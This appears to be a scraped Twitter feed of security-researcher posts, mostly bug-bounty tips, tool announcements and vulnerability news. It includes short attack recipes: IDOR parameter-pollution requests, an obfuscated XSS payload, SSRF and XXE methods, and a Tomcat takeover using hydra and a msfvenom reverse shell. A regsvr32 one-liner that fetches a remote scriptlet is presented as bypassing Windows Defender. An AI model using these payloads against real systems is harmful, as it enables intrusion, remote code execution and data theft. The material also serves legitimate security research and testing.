Dvir Levi

CEO at @scorpiones_io

[Dvir Levi @levi_dvir]

I love gpt5.6 perfect model!

[PolyBot @TradePolyBot]

1/6 Meet PolyBot!
The fastest way to trade on polymarket.
Link in thread.

[Scorpiones @Scorpiones_io]

We researched Lateral Movement using DCOM Objects,
Read the comprehensive research and the results in the article below >
https://t.co/R6NRbA6LqK
#dcom #CyberSecurity

[what_web @jae_hak99]

{“id”:111} --> 401 Unauthriozied
{“id”:{“id”:111}} --> 200 OK

POST /api/get_profile
Content-Type: application/json {“user_id”:<attacker_id>,”user_id”:<victim’s_id>}

GET /api_v1/messages?user_id=VICTIM_ID --> 401

GET /api_v1/messages?user_id=attack&user_id=VICTIM --> 200 OK

[Scorpiones @Scorpiones_io]

We want to present our new tool DVS - DCOM Vulnerability scanner.
The tool allows #lateralmovement from Windows 7 to windows server 2019.
it auto-enable DCOM remotely if disabled, and tested to bypass most EDR's

https://t.co/Ap6oYnb2y0
Proof of concept video in GitHub

[Devansh (⚡, 🥷) @0xAsm0d3us]

Weaponizing favicon.ico for BugBounties , OSINT and what not !
Blog : https://t.co/OdIHfu1MQI
FavFreak : https://t.co/qNaiwFpwQE
FingerPrint Based Favicon Hash Detection !
@Jhaddix @stokfredrik @NahamSec @hakluke @HusseiN98D

[BSidesTLV_CTF @BSidesTLV_CTF]

Timetable

Full 48-hours

Start: June 28th 2020, 09:00 (Israel Time)
Start: June 30st 2020, 09:00 (Israel Time)

https://t.co/0yVLqTHENx

[Aditya @ADITYASHENDE17]

QR basic SSRF
1. Android app have function to generate QR and scan also.
2. Burp collaborator link converted to QR code
3. Scanned with same app
4. No response till 15 mins
5. Got DNS & HTTP both with org IP
7. All ssrf payloads converted to QR scanned one bye one

[Adam Chester 🏴‍☠️ @_xpn_]

Created a quick POC to spoof environment variables by swapping them out on launch 😈 (similar practice to argument spoofing). Might be useful for anyone looking to test detection of COMPlus_ETWEnabled. https://t.co/wQ9PnJ0I4a

[XSS Payloads @XssPayloads]

Hieroglyph-based payload by @aemkei !
𓅂='',𓂀=!𓅂+𓅂,𓁄=!𓂀+𓅂,𓊎=𓅂+{},𓆣=𓂀
[𓅂++],𓊝=𓂀[𓇎=𓅂],𓏢=++𓇎+𓅂,𓆗=𓊎[𓇎+𓏢
],𓂀[𓆗+=𓊎[𓅂]+(𓂀.𓁄+𓊎)[𓅂]+𓁄[𓏢]+𓆣+
𓊝+𓂀[𓇎]+𓆗+𓆣+𓊎[𓅂]+𓊝][𓆗](𓁄[𓅂]+𓁄[
𓇎]+𓂀[𓏢]+𓊝+𓆣+'`𓅂 𓏢 𓂀 𓁄 𓆣 𓊝 𓇎`')``

[Clément Labro @itm4n]

Another blog post! 🙂

PrintSpoofer - Abusing SeImpersonate on Windows 10 and Server 2019
👉 https://t.co/BqgnZ2rRsK

cc @jonasLyk

[Hussein Daher @HusseiN98D]

Testing Password Reset Functionnalities . If you can think of other tests drop them!
#BugBounty #BugBountyTips #BugBountyTip #pentest

[xxux11 ᯲ ̸ @11xuxx]

XXE
1. change password func -> JSON
2. converted to XML -> 200 OK
3. created dtd file on my ec2 and started webserver on port 80
4. crafted a XXE payload!
5. bounty!

Always convert POST/PUT/PATCH body to xml and resend req, don't forget to change the content-type.
#bugbountytips

[Gwendal Le Coguic @gwendallecoguic]

#onliner to find (sub)domains related to a kword on pastebin through google #BugBounty

https://t.co/JBRXtTDmUJ -t "site:https://t.co/ZuGdPxJz4H kword" -b -d -s 0 -e 5 | sed "s/\.com\//\.com\/raw\//" | xargs curl -s | egrep -ho "[a-zA-Z0-9_\.\-]+kword[a-zA-Z0-9_\.\-]+" | sort -fu

[xxux11 ᯲ ̸ @11xuxx]

RCE on big company
1. subdomain enum
2. used "ffuf" and found tomcat on ";/..;/manager"
3. weak cred (used hydra)
4. "/manager/html" blocked, "/manager/text" was not
5. used "msfvenom" and crated reverse shell war
6. used "curl" and deployed the war file
7. rce!
#bugbountytips

[Scorpiones @Scorpiones_io]

Since Coronavirus Crisis has started, we saw an increase in Cyber Attacks by 800%.
We welcome you to get informed in the latest cyber risks COVID-19 has brought with it, and a few tips on how to protect yourself.
Read more here: https://t.co/TLfXPJazFa

[Scorpiones @Scorpiones_io]

Is your network safe? Are you running Windows 10 or Windows Server in your business?

Microsoft has discovered and released an emergency patch to a very dangerous “Wormable SMBv3 Vulnerability” that could affect millions of computers worldwide

Read more: https://t.co/8g4AEIJ6wx

[Scorpiones @Scorpiones_io]

New Wi-Fi Encryption Vulnerability Affects Over A Billion Devices.
Is your business protected from the new Kr00k WiFi Attack?
Read more about it here:
https://t.co/8c8iclFQGu
#kr00k #WiFi #CyberAttack

[Rafel (Rafi) Ivgi - רפאל רפי איבגי @rafelivgi]

My Atomic Red WSC variant, bypassing windows defender ;)

regsvr32.exe /i:url:https://t.co/6iHa9ntgBn scrobj.dll /s